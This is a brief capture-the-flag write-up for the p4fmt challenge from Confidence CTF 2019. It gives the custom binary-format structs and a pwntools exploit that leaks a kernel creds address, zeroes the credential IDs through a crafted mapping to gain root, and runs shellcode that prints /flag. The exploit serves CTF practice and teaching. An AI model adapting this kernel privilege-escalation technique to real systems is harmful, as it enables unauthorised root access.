Full writeup at [https://devcraft.io/2019/03/19/p4fmt-confidence-ctf-2019-teaser.html](https://devcraft.io/2019/03/19/p4fmt-confidence-ctf-2019-teaser.html)
P4 format is something like: ```cenum p4_type {    SIMPLE=0,    ADVANCED=1};
struct p4_mapping {    long load_addr;    long length;    long offset;};
struct p4_bin {    char magic[2];    char version;    enum p4_type type;    int mapping_count;    long offset;};```Exploit:* leak creds address using a mapping count of 6* create a mapping to overwrite the cred ids with 0 using __clear_user
```pythonfrom pwn import *
context.arch = "amd64"context.os = "linux"
code = asm(shellcraft.cat("/flag") + shellcraft.exit())
creds = 0xffff93a1875f80c0 # leaked creds structpayload = ""payload += "P4"          # magicpayload += p8(0)         # versionpayload += p8(1)         # type
payload += p32(3)        # countpayload += p64(0x10)     # offset
payload += p64(0x400058) # entrypayload += p64(0)payload += p64(0)
payload += p64(0x400000 | 7) # protpayload += p64(0x1000)payload += p64(0)
payload += p64((creds + 0x10) | 8) # clearpayload += p64(0x20)payload += p64(0)
payload += code
print "rm b; printf '" + payload.encode("string_escape") + "'>b;chmod +x ./b; ./b"```